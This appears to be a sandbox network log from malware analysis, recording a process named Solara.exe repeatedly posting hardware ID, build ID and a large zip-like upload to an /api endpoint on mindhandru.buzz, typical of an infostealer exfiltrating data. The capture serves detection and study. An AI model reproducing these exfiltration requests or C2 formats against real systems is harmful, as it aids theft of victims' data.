2024-12-27 15:21:03 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 15:21:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	172.67.165.185	443	7620	C:\Users\user\Desktop\Solara.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 15:21:04 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QBD10WBWROF7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8752 Host: mindhandru.buzz
2024-12-27 15:21:04 UTC	8752	OUT	Data Raw: 2d 2d 51 42 44 31 30 57 42 57 52 4f 46 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 36 42 39 35 38 32 30 30 38 37 30 32 39 38 44 30 46 32 33 42 45 33 42 46 41 34 44 37 42 30 0d 0a 2d 2d 51 42 44 31 30 57 42 57 52 4f 46 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 51 42 44 31 30 57 42 57 52 4f 46 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 39 39 31 32 35 33 35 0d 0a 2d 2d 51 42 44 31 30 57 42 57 52 4f Data Ascii: --QBD10WBWROF7Content-Disposition: form-data; name="hwid"8B6B958200870298D0F23BE3BFA4D7B0--QBD10WBWROF7Content-Disposition: form-data; name="pid"2--QBD10WBWROF7Content-Disposition: form-data; name="lid"yau6Na--629912535--QBD10WBWRO
2024-12-27 15:21:05 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 15:21:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p4fj3rklf8r8vlvrcb6idb0c8g; expires=Tue, 22 Apr 2025 09:07:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KeBahTySeGFf2qh7xMVehFS1rIubHreIs%2BL2qDX3Y44QC3u%2B1sYY%2FIIYLQSr7w8UE5QJi3G3n%2FyB4w31xngTWpGcb%2BsAWrypmkmmsUfqqo8r0NGi1dTLwTEQN7UtZKpv5GQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8a4c5eeb285e5f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1637&min_rtt=1637&rtt_var=614&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2838&recv_bytes=9684&delivery_rate=1781574&cwnd=251&unsent_bytes=0&cid=aa7dbd0846cd0a37&ts=866&x=0"
2024-12-27 15:21:05 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 15:21:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49737	172.67.165.185	443	7620	C:\Users\user\Desktop\Solara.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 15:21:07 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4V5NXPZBSP7Q7O7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20423 Host: mindhandru.buzz
2024-12-27 15:21:07 UTC	15331	OUT	Data Raw: 2d 2d 34 56 35 4e 58 50 5a 42 53 50 37 51 37 4f 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 36 42 39 35 38 32 30 30 38 37 30 32 39 38 44 30 46 32 33 42 45 33 42 46 41 34 44 37 42 30 0d 0a 2d 2d 34 56 35 4e 58 50 5a 42 53 50 37 51 37 4f 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 34 56 35 4e 58 50 5a 42 53 50 37 51 37 4f 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 39 39 31 32 35 33 35 0d 0a 2d 2d 34 Data Ascii: --4V5NXPZBSP7Q7O7Content-Disposition: form-data; name="hwid"8B6B958200870298D0F23BE3BFA4D7B0--4V5NXPZBSP7Q7O7Content-Disposition: form-data; name="pid"3--4V5NXPZBSP7Q7O7Content-Disposition: form-data; name="lid"yau6Na--629912535--4
2024-12-27 15:21:07 UTC	5092	OUT	Data Raw: 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2024-12-27 15:21:08 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 15:21:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=13f4eagcovpkrcdm8qqd94ul6c; expires=Tue, 22 Apr 2025 09:07:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2gySWqonA5mgzA8XmfjscTNxJMqlH0T%2FRD5THLomVNf9xkKvsyPFYIZZt9bhxn%2FoWgvGJmKMCB2he09EzBR%2BhK5ElCHNl0LZJRaIXm1961wA50CyubzQEPAUahxG6ZIRoqg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8a4c6d5dec6a52-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2355&min_rtt=2079&rtt_var=977&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21381&delivery_rate=1404521&cwnd=210&unsent_bytes=0&cid=66f919c55e9e2264&ts=1009&x=0"
2024-12-27 15:21:08 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 15:21:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49738	172.67.165.185	443	7620	C:\Users\user\Desktop\Solara.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 15:21:09 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=826W8W5G6DW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1228 Host: mindhandru.buzz
2024-12-27 15:21:09 UTC	1228	OUT	Data Raw: 2d 2d 38 32 36 57 38 57 35 47 36 44 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 36 42 39 35 38 32 30 30 38 37 30 32 39 38 44 30 46 32 33 42 45 33 42 46 41 34 44 37 42 30 0d 0a 2d 2d 38 32 36 57 38 57 35 47 36 44 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 32 36 57 38 57 35 47 36 44 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 39 39 31 32 35 33 35 0d 0a 2d 2d 38 32 36 57 38 57 35 47 36 44 57 0d 0a Data Ascii: --826W8W5G6DWContent-Disposition: form-data; name="hwid"8B6B958200870298D0F23BE3BFA4D7B0--826W8W5G6DWContent-Disposition: form-data; name="pid"1--826W8W5G6DWContent-Disposition: form-data; name="lid"yau6Na--629912535--826W8W5G6DW
2024-12-27 15:21:10 UTC	1120	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 15:21:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=od2qhikf1rjtktekhijhs8af01; expires=Tue, 22 Apr 2025 09:07:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GSTR7TfwY1t7HSdW1OV%2BdqMxHSsncoiAElxkJ1HIq8ehvjI00AtFm2Taw9Iy3dozQkVz3MFJdtsbtxooClqt0jPOO2PyCHOBsJqV0bZej1KYAZcfHrQs4kTX8aK4vLRfutw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8a4c7d8fda1885-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1775&min_rtt=1705&rtt_var=689&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2137&delivery_rate=1712609&cwnd=193&unsent_bytes=0&cid=95c314159586a99a&ts=791&x=0"
2024-12-27 15:21:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 15:21:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49739	172.67.165.185	443	7620	C:\Users\user\Desktop\Solara.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 15:21:12 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IWMGITR0XK6E94L5X User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570559 Host: mindhandru.buzz
2024-12-27 15:21:12 UTC	15331	OUT	Data Raw: 2d 2d 49 57 4d 47 49 54 52 30 58 4b 36 45 39 34 4c 35 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 42 36 42 39 35 38 32 30 30 38 37 30 32 39 38 44 30 46 32 33 42 45 33 42 46 41 34 44 37 42 30 0d 0a 2d 2d 49 57 4d 47 49 54 52 30 58 4b 36 45 39 34 4c 35 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 57 4d 47 49 54 52 30 58 4b 36 45 39 34 4c 35 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 32 39 39 31 32 35 33 Data Ascii: --IWMGITR0XK6E94L5XContent-Disposition: form-data; name="hwid"8B6B958200870298D0F23BE3BFA4D7B0--IWMGITR0XK6E94L5XContent-Disposition: form-data; name="pid"1--IWMGITR0XK6E94L5XContent-Disposition: form-data; name="lid"yau6Na--62991253
2024-12-27 15:21:12 UTC	15331	OUT	Data Raw: e0 49 9c 12 90 f2 e6 bf ff d4 22 e4 03 f8 5d 15 2b 4c 25 56 4a 33 96 00 92 9e 84 05 53 1e 87 bd 02 6c 33 05 f0 bb f0 5a df 61 1c 92 d1 db 0a af 31 86 ce 4b d2 f0 bb c9 2e 22 e0 8c 3a 16 c6 71 b1 6b d6 e8 50 c5 ed ab fb b9 6e db 41 6a 90 e3 ff 5b a5 a4 f9 00 dd 7e 57 70 07 0d ea c9 e4 9e 20 e0 b5 85 83 05 68 0a ce 69 61 e1 25 66 ec 9e b4 52 01 88 f7 e7 82 51 ea 31 06 6f c1 d0 b6 cd 12 62 1c 92 ea 15 06 97 12 d3 1c dc 70 a0 41 9e 17 60 8c 8e d9 9e e1 50 02 c9 a9 c0 d4 ed fc 22 4d 9a df e6 e7 e4 b0 87 5f 8c 98 a2 9d 52 5e 8e 5c 28 7a c4 38 fe d5 e2 94 0a 6f 5a 2b 8e 5a 61 2a ab 31 04 cb f4 14 21 36 80 f7 a3 a8 18 53 70 01 c3 a2 a4 6c 35 f8 bb c8 73 6a 1d 89 5c d2 8a 7c 15 ff 98 f1 f8 aa 9d 04 95 cc 48 c7 c2 12 cb 9a 33 ef 96 80 df 1e 9a 36 3a 50 10 fc e8 47 Data Ascii: I"]+L%VJ3Sl3Za1K.":qkPnAj[~Wp hia%fRQ1obpA`P"M_R^\(z8oZ+Za*1!6Spl5sj\\|H36:PG
2024-12-27 15:21:12 UTC	15331	OUT	Data Raw: 4f 0b 15 09 2f 16 46 34 ab e9 44 14 55 22 24 6f 59 19 49 63 1f 47 da 98 39 bd 9a ce 68 ff b5 06 cd 21 2c 6f 14 94 c2 be a8 b7 ca 6d 12 70 e4 a6 c2 58 fe 44 44 0b 45 22 d8 4b 82 76 ea 01 ae e3 05 82 8a 94 19 06 7b a5 22 4b 4c d7 32 1f 0d 9b 8a d1 2a e3 d3 cf 2a d7 25 43 04 88 7b ba df e5 37 d1 4d a6 60 a1 18 2d d5 87 78 b9 c2 17 1a b3 1f 0a 45 c6 76 4f 1a 02 1f 24 fa 4d 9d 52 04 62 82 4a ae 29 c5 e8 a0 7b 06 c3 85 66 bf 18 4d 0f 76 ac d3 4b 2c f6 77 9e 67 4a a2 c3 05 79 fb ea e9 7f a9 ba 7e 8f a3 30 0c ca 38 73 73 46 7e ab 6f 8e 59 72 06 a4 11 7e e7 2b 72 73 dd 0c 22 5c 6b 47 a8 d6 f7 07 c8 7b ba ae 47 50 ae 9c e1 ba bc c1 43 a3 af e6 a7 be 8b 5d ae fc 2b e8 67 8b c6 66 bc b7 0b e4 a3 09 67 9e 20 63 ee 60 ee 3e 58 bc 14 93 95 a7 76 27 9e 4d 6a 3d 48 be c0 Data Ascii: O/F4DU"$oYIcG9h!,ompXDDE"Kv{"KL2**%C{7M`-xEvO$MRbJ){fMvK,wgJy~08ssF~oYr~+rs"\kG{GPC]+gfg c`>Xv'Mj=H
2024-12-27 15:21:12 UTC	15331	OUT	Data Raw: 50 4b af ee 2d 9a a8 3a 34 52 dc a0 7d 72 10 21 ee ee 1d a0 fa 42 97 d3 ef 2d 43 8a be fa ed 49 89 ed d2 57 7b ea c5 a5 67 57 c3 80 6d 0c 6a 8e 6d d6 9a 57 02 30 d4 df 77 3f 1e 79 c5 74 e9 0b ce 40 1d 68 99 6f de f7 68 9d 70 35 5c 29 35 c5 db 3a 18 e5 bf bb 36 f5 17 41 37 45 50 fc 45 ec 80 2f 38 63 f3 5f d1 e4 e8 f5 8e 3a a3 9c a5 89 66 ab ed a5 a2 8f 4e bc e4 68 f9 dd 25 35 9f b8 66 3b e7 c3 af 17 de fb ef 65 c8 0e 0b de a1 b8 7d 40 f7 22 3f 3f e4 48 3f 20 fc 57 4b 49 dd dc e4 5c a4 ba 86 2e d9 7d bc d1 1b b5 24 72 13 ed 71 cf 35 49 28 a9 41 4f d0 cc 05 8c b5 a9 31 95 ba bd 05 c1 b5 25 d8 79 94 ba 79 5c 86 4e 18 dc f2 bb 73 f2 73 37 8e d9 d3 7e b4 24 6d e1 11 65 6f 77 fb c7 b9 d4 ca 1f 1c 83 38 0b 8a ec d5 e6 bb 3c c5 8b e7 68 7e 65 ad fd e4 4f bb 67 78 Data Ascii: PK-:4R}r!B-CIW{gWmjmW0w?yt@hohp5\)5:6A7EPE/8c_:fNh%5f;e}@"??H? WKI\.}$rq5I(AO1%yy\Nss7~$meow8<h~eOgx
2024-12-27 15:21:12 UTC	15331	OUT	Data Raw: 65 8d 5b ca 0c e9 87 c4 e9 c5 4c de 84 4d f5 fd b9 38 b8 79 50 47 b8 cb 57 eb 34 c7 47 ca 68 bc cd c1 ab 9c 9c b3 e0 35 34 f2 42 75 a9 36 b9 aa 2c 09 1d 7b 40 75 c4 82 63 13 bc df d9 45 5e 6c f7 ce 9e 56 a6 db 43 6e b3 66 65 de 93 bf c7 4a 32 e0 55 81 9b d5 19 ae b9 10 6f 19 d1 8b 30 98 e3 82 3f cc 18 dc dc 8b 10 02 46 13 b9 50 1d 11 e8 bd 3e c3 47 1c 1c 57 b3 d9 81 3c 0f a5 37 44 fd af 4c da 22 83 02 6e 7b 4d 3a 15 dd 47 82 0f f7 32 9b 78 c0 10 c5 71 d4 5a d5 05 23 bc f3 ee fd a7 c3 ef b5 4d fd b5 24 1d ee 1f 91 b4 b9 a7 f2 5e d9 9c 94 ee 87 fe fb 80 d6 b4 70 32 61 05 62 f8 27 52 f9 fe ff af e4 86 24 28 1d e3 81 f3 c0 e2 9f 81 4b 32 8b 6f 84 18 55 e5 94 94 16 64 31 fc 79 b1 e4 51 11 0f 07 e1 3c d5 fe 89 b3 23 9c f0 5d a2 2c 2b 41 10 f1 67 7b 3a 50 d1 7e Data Ascii: e[LM8yPGW4Gh54Bu6,{@ucE^lVCnfeJ2Uo0?FP>GW<7DL"n{M:G2xqZ#M$^p2ab'R$(K2oUd1yQ<#],+Ag{:P~
2024-12-27 15:21:12 UTC	15331	OUT	Data Raw: 29 5b 0a d0 bd 3d bc a6 bd 64 7b 2b b1 42 b8 41 90 d2 e4 c6 f7 72 e2 6c e7 e4 d2 da 90 8d 5b c5 fc 3a b3 08 39 a7 3a 09 e1 a6 72 64 85 45 e3 e7 e5 1a 6c b5 7c a1 8b 3d a1 40 ee 59 54 21 a9 d1 c0 c0 57 e0 c7 c1 96 40 aa ba 72 ab b7 76 6d 02 14 ef bd ed f3 2c 4d 0b 19 58 b0 fd 6a 47 ad 88 b5 0c 23 00 b1 ab d6 19 a5 1c ae cf b1 ed e2 98 d2 2f 84 01 41 37 c6 ee f1 f5 dc 3f 72 77 6b d2 a9 5e b1 bb c8 d9 a3 2d 59 a8 44 25 da 50 cc 7e bc ef f2 47 23 9b 6f fa 9e 05 82 86 1a 4d 61 5b 7c 61 a7 db f8 8a f3 0d 67 1d 63 7b 2b b6 1f fc 08 32 fc 21 74 ce 59 f6 57 5d e2 33 e8 77 09 36 b7 32 11 43 00 0f 86 0a e8 ad 6d 83 f2 b6 dc 1f ae 90 70 36 a2 77 10 b7 7e 8b 5e 70 54 e7 f0 96 3e ee 10 c7 1f 35 b1 75 94 5e 64 66 40 32 ac 92 64 44 ef 53 53 9f d5 93 c7 84 c0 3e 3f aa 43 Data Ascii: )[=d{+BArl[:9:rdEl\|=@YT!W@rvm,MXjG#/A7?rwk^-YD%P~G#oMa[\|agc{+2!tYW]3w62Cmp6w~^pT>5u^df@2dDSS>?C
2024-12-27 15:21:12 UTC	15331	OUT	Data Raw: 94 b2 7f ac 99 e0 72 2e 90 21 62 31 1b 89 3c 84 91 e5 6d 96 b5 0b 99 5e ff 59 4e 91 13 25 ef ea 7a ce 2a f9 ff da 2a 7e e2 64 11 f0 f5 ce e1 bc b8 2a 8f 37 fb da 02 e3 74 fb be 21 f1 ee dc b7 aa ac 61 89 26 d8 85 53 25 c8 48 41 90 87 0e ac 2e cd 48 4a e3 04 21 37 50 e7 36 53 90 ba 9b 0d 9b 28 77 b8 55 f5 50 f4 c7 45 40 58 f5 0e 02 b7 70 32 b3 99 13 1c a8 92 ff 6d d9 2b 1b 1f bd 64 c0 b5 3b cb 43 b2 5e a6 fe f5 af 8f 1f 21 7f ec 8c cf 06 12 c4 7b 6f e0 16 71 c8 f2 5b 8e 69 ee 73 25 f1 d5 78 45 2b 5a 12 63 fd 67 26 3e f2 c9 66 68 0a 22 f9 36 0b b3 39 6e 4b 1a 4a 28 d0 46 c2 cd 07 ac 48 13 74 56 ee ac 96 7e 9b 8f 66 fd 8c 12 bd 89 06 b8 cd d5 9f 69 2c 9f 21 04 fd da e8 d2 e3 9c 7b 81 4c 76 80 73 f5 8f 6b 51 0e bd 60 b1 46 08 5c dd 18 2d f9 58 23 3d 5a a9 d4 Data Ascii: r.!b1<m^YN%z*~d7t!a&S%HA.HJ!7P6S(wUPE@Xp2m+d;C^!{oq[is%xE+Zcg&>fh"69nKJ(FHtV~fi,!{LvskQ`F\-X#=Z
2024-12-27 15:21:12 UTC	15331	OUT	Data Raw: 4b 78 48 a9 87 95 f8 81 b5 11 b3 ee 0e 92 a0 fb 0e f5 27 91 10 22 87 98 77 a2 1e 08 98 83 d7 0d e7 af 85 c2 84 e7 21 fa fc 89 8b 43 15 0e a3 79 e9 04 11 4d 86 42 ba e2 6b 72 82 a7 29 6c 5a 0f 97 49 75 51 b9 ef a6 6d 2e 86 61 60 02 d9 99 ef 57 fb 7f db d3 5a f4 32 7f 24 6c 02 9e 03 73 cf 51 b0 ec fc 99 f1 17 58 98 0f c7 bb 28 8d ed 1c 9f 98 73 65 db 0f 44 1a 10 b5 51 66 62 7d 45 37 ec 6b 5d 94 d2 e7 c6 53 cc 2e 28 5e 52 ca 30 98 53 6f 73 8d b5 af 21 ca 87 ea 5d 12 8c 27 f3 03 5e 81 f5 d8 aa a3 ae f5 9d 66 4d e3 fb 43 1c a5 02 90 98 55 be a2 5e fa 03 4f 7f 12 f6 fa be 45 6f 28 19 d9 9d 1a d7 52 c3 7b 22 1a 68 36 9f 06 bf 95 af ea 97 78 72 5e 94 3d 38 3e 2c d1 ef b4 e9 fc 2f e2 09 a5 70 ff 54 fd 55 01 52 a0 47 0c 63 d8 28 bf a7 24 e0 9a d7 d2 e6 97 44 3c a9 Data Ascii: KxH'"w!CyMBkr)lZIuQm.a`WZ2$lsQX(seDQfb}E7k]S.(^R0Sos!]'^fMCU^OEo(R{"h6xr^=8>,/pTURGc($D<
2024-12-27 15:21:12 UTC	15331	OUT	Data Raw: 9f a1 4b 98 ee eb 27 7d 7b a2 0a 35 2f 12 f7 f7 00 fa 60 26 42 4b 82 98 f9 b2 a0 ea f2 7e 00 ff cb 0b a2 0d 26 dd 2b 73 d6 5e 26 b6 90 b5 b1 5c 07 d4 77 4d 1e 81 ed 66 0e 33 52 e0 ea 6e 53 79 88 14 0f 07 21 cb 84 33 2c dd 47 93 e1 d7 64 5e 8c 5d 90 c4 12 a7 f8 3a 7e 25 f8 2d 08 b7 12 10 91 6e 7e 1e f3 0f 54 b8 73 7b 2a d4 3b 1d 3a 96 20 cb 6c 5c a7 89 e0 77 c9 c2 ef 00 ca 6d 28 29 76 eb e0 f3 10 22 fe 06 e3 62 b2 ed 6c 77 d1 b0 1e 5b 46 58 c8 8d 7b f0 da 68 81 70 94 4a 27 e0 4e cc 85 1f 25 c0 5a 86 bf e6 98 9c 57 3a 6d 0d d1 12 a2 42 90 f2 46 a0 0e 55 98 20 42 27 ec bb 54 ff 00 e2 87 f8 f8 05 25 be d5 1c 78 14 2b ff f4 13 38 d0 fb b5 29 1f 65 d6 10 2c c1 79 03 d2 9f 04 ab 22 68 c1 ae 31 8d 2f 9e 0c aa 3b e4 b7 07 f0 cd 26 e5 91 f9 f9 66 b7 e8 51 61 82 c2 Data Ascii: K'}{5/`&BK~&+s^&\wMf3RnSy!3,Gd^]:~%-n~Ts{*;: l\wm()v"blw[FX{hpJ'N%ZW:mBFU B'T%x+8)e,y"h1/;&fQa
2024-12-27 15:21:12 UTC	15331	OUT	Data Raw: 55 e9 b0 b6 b4 72 9d d6 78 39 f3 f7 93 73 a1 ed fb 02 38 47 cd 56 bc 10 1b 80 7d b4 45 ba ff 3f 40 99 7d ae f5 a8 d0 18 a4 9b 33 36 f4 f6 3f dd 3e 0e 1b df 05 75 0b b2 f9 e7 aa ef 1f be 25 41 d8 6e 14 c0 ed 85 c8 fc 50 c6 9e e8 a1 d8 7c 23 3b 14 0c 87 d9 ee de 66 e9 cf 59 b7 7e 06 d7 87 f0 72 a7 b0 ec 82 ec a3 fb a5 99 b7 1a d4 6c 4e 23 6b 1b e3 be bf f4 cd f1 52 00 7b f0 9c 80 c8 aa c5 18 a9 93 4e be dc 0f cd ae 0e b2 b4 a2 09 0b 7e b2 38 e7 f1 57 f3 db 00 3f 81 f8 6b 84 18 84 0b c6 6d fd 7a 76 69 34 49 84 e2 0b 99 3b e6 67 20 64 1e d6 8b ee 10 6c ca d2 3a 04 0e 5b a7 d7 d6 18 ad 06 a6 35 a1 4d 4b 31 fc f4 46 1e 8a b9 49 31 f7 3c cb 5a 4f fa 74 3d 8d 17 4c 6e a0 67 ec 40 d3 2f 61 8d 05 ca eb a4 5a d9 74 c5 fa 40 59 91 31 9d 37 ca 89 e1 de 52 cc 66 95 79 Data Ascii: Urx9s8GV}E?@}36?>u%AnP\|#;fY~rlN#kR{N~8W?kmzvi4I;g dl:[5MK1FI1<ZOt=Lng@/aZt@Y17Rfy
2024-12-27 15:21:14 UTC	1137	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 15:21:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=30p8qdb8k9m2sjo6en5lvl0vov; expires=Tue, 22 Apr 2025 09:07:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FfDkszgWvPmptk70dD4LcM2A%2FpcWVzS%2BJ1GaUih%2Bbi3IJcUEFFl4Jsgey30klFdw%2B4O9Jy5KhiVi6Fnn3YWchJGYc4TxrZEiRUy11bdtdnsajMRhUv7yMr9ZY%2Fi1QwuAOFE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8a4c8d4a258c87-EWR alt-svc: h3=":443"; ma=86400 server-timing: 